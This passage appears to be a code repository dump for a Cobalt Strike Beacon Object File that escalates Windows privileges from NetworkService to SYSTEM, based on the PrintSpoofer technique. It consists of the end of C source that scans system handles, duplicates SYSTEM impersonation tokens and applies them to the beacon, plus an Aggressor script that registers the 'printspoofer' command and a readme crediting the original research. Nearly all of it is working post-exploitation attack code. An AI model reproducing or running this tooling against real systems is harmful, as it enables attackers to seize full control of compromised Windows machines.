KERNEL32$CloseHandle(clientHandle); 36 | KERNEL32$CloseHandle(serverHandle); 37 | return; 38 | } 39 | 40 | DWORD len = sizeof(SYSTEM_HANDLE_INFORMATION) * 0x1000; 41 | PSYSTEM_HANDLE_INFORMATION shi = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, len); 42 | 43 | while (!NT_SUCCESS(NTDLL$NtQuerySystemInformation(SystemHandleInformation, shi, len, NULL))) { 44 | len += (sizeof(SYSTEM_HANDLE_INFORMATION) * 0x1000); 45 | shi = KERNEL32$HeapReAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, shi, len); 46 | } 47 | 48 | for (int i = 0; i < shi->NumberOfHandles; i++) { 49 | CLIENT_ID cid = {0}; 50 | OBJECT_ATTRIBUTES att = {0}; 51 | cid.UniqueProcess = (HANDLE)shi->Handles[i].UniqueProcessId; 52 | 53 | InitializeObjectAttributes(&att, NULL, OBJ_CASE_INSENSITIVE, 0, 0); 54 | 55 | HANDLE processHandle; 56 | if (!NT_SUCCESS(NTDLL$NtOpenProcess(&processHandle, PROCESS_DUP_HANDLE, &att, &cid))) { 57 | continue; 58 | } 59 | 60 | HANDLE serverHandle = NULL; 61 | if (!NT_SUCCESS(NTDLL$NtDuplicateObject(processHandle, (HANDLE)shi->Handles[i].HandleValue, (HANDLE)-1, &serverHandle, 0, 0, DUPLICATE_SAME_ACCESS))) { 62 | KERNEL32$CloseHandle(processHandle); 63 | continue; 64 | } 65 | 66 | TOKEN_STATISTICS tst = {0}; 67 | if (!NT_SUCCESS(NTDLL$NtQueryInformationToken(serverHandle, TokenStatistics, &tst, sizeof(tst), &len))) { 68 | KERNEL32$CloseHandle(processHandle); 69 | KERNEL32$CloseHandle(serverHandle); 70 | continue; 71 | } 72 | 73 | LUID uid = {0}; 74 | uid.LowPart = 0x3E7; // SYSTEM 75 | uid.HighPart = 0; 76 | if (tst.AuthenticationId.LowPart != uid.LowPart || tst.AuthenticationId.HighPart != uid.HighPart || tst.PrivilegeCount < 22) { 77 | KERNEL32$CloseHandle(processHandle); 78 | KERNEL32$CloseHandle(serverHandle); 79 | continue; 80 | } 81 | 82 | TOKEN_TYPE typ = 0; 83 | if (!NT_SUCCESS(NTDLL$NtQueryInformationToken(serverHandle, TokenType, &typ, sizeof(typ), &len))) { 84 | KERNEL32$CloseHandle(processHandle); 85 | KERNEL32$CloseHandle(serverHandle); 86 | continue; 87 | } 88 | 89 | if (typ == TokenPrimary) { 90 | KERNEL32$CloseHandle(processHandle); 91 | KERNEL32$CloseHandle(serverHandle); 92 | continue; 93 | } 94 | 95 | HANDLE sys = NULL; 96 | if (NT_SUCCESS(NTDLL$NtDuplicateObject(processHandle, (HANDLE)shi->Handles[i].HandleValue, (HANDLE)-1, &sys, 0, 0, DUPLICATE_SAME_ACCESS))) { 97 | BeaconPrintf(CALLBACK_OUTPUT, "Success\n"); 98 | BeaconUseToken(sys); 99 | KERNEL32$CloseHandle(sys); 100 | KERNEL32$CloseHandle(processHandle); 101 | KERNEL32$CloseHandle(serverHandle); 102 | KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, shi); 103 | return; 104 | } 105 | } 106 | 107 | BeaconPrintf(CALLBACK_OUTPUT, "Failure\n"); 108 | 109 | if (shi != NULL) { 110 | KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, shi); 111 | } 112 | 113 | KERNEL32$CloseHandle(clientHandle); 114 | KERNEL32$CloseHandle(serverHandle); 115 | } 116 | -------------------------------------------------------------------------------- /printspoofer.cna: -------------------------------------------------------------------------------- 1 | alias printspoofer { 2 | $barch = barch($1); 3 | $handle = openf(script_resource("printspoofer. $+ $barch $+ .o")); 4 | $object = readb($handle, -1); 5 | closef($handle); 6 | 7 | btask($1, "Escalating from NetworkService to SYSTEM."); 8 | beacon_inline_execute($1, $object, "go", $null); 9 | }; 10 | 11 | beacon_command_register( 12 | "printspoofer", 13 | "Privesc from NetworkService to SYSTEM", 14 | "PrintSpoofer BOF\n\n" . 15 | "Usage:\n" . 16 | " printspoofer\n\n" 17 | ); 18 | -------------------------------------------------------------------------------- /readme.txt: -------------------------------------------------------------------------------- 1 | based on https://www.tiraniddo.dev/2020/04/sharing-logon-session-little-too-much.html and https://github.com/itm4n/PrintSpoofer 2 | --------------------------------------------------------------------------------